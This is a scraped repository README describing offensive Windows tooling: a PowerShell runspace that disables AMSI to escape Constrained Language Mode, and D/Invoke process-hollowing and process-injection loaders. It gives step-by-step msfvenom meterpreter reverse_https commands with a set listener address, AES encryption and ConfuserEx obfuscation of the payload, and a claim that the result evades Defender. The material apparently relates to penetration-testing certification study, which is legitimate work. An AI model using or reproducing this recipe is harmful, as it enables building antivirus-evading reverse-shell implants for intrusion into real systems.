Git Product home page Git Product logo

dinvoke-c-'s Introduction

InteractiveRunspace.cs

This is used to bypass CLM when you already have access to the system (like a reverse shell or RDP). It provides a PS shell with AMSI disabled in "FullLanguage" mode that you can interactively execute commands in.

InteractiveRunSpace Shell

Powershell-Filetransfers-methods.md

Contains a list of PowerShell file transfer methods highlighting if they are "proxy aware" and if they work in when your in "ContrainedLanguageMode".

dinvoke-phollow-aes.cs

Uses D/Invoke to hollow a process of your choosing. The default is "svchost". This is based on the work of FatCyclone D/Invoke in C# with the AV bypasses stripped and I added AES128 ECB encryption.

Note that msfvenon encoders don't work for this use-case. Do not encode your payload

  1. Create a msfvenom payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.128 LPORT=443 EXITFUNC=thread -f raw -o ~/OSEP/shell.raw
  1. Now AES 128 ECB encrypt your payload: (Note key is 16 chars. No less or No more.)
python aes-encode.py --key 777456789abcdety --format csharp --file shell.raw
  1. Take the output and put it into the VS project. Also set your key. Build it.
  2. Then obfuscate with ConfuserEx.
  3. PWN2OWN

As of 11/30/2021 this passes Defender

dinvoke-pinject-aes.cs

Same as above except it uses process injection. Default is "explorer". This is based on the work of FatCyclone D/Invoke in C# with the AV bypasses stripped and I added AES128 ECB encryption. Msfvenon encoders appear to work with this method.

aes-encrypt.py

Use this to encrypt you payloads with AES 128 ECB.

# Usage:

# msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.128 LPORT=443 EXITFUNC=thread -f raw -o ~/OSEP/shell.raw

# python aes-encode.py --key 777456789abcdety --format csharp --file shell.raw

#

# ***** Note don't use msfvenom encoders with d/invoke process hollowing. It crashes process right on startup!!! ***

# Key size is 16 chars! No More or less

dinvoke-c-'s People

Contributors

superhac avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.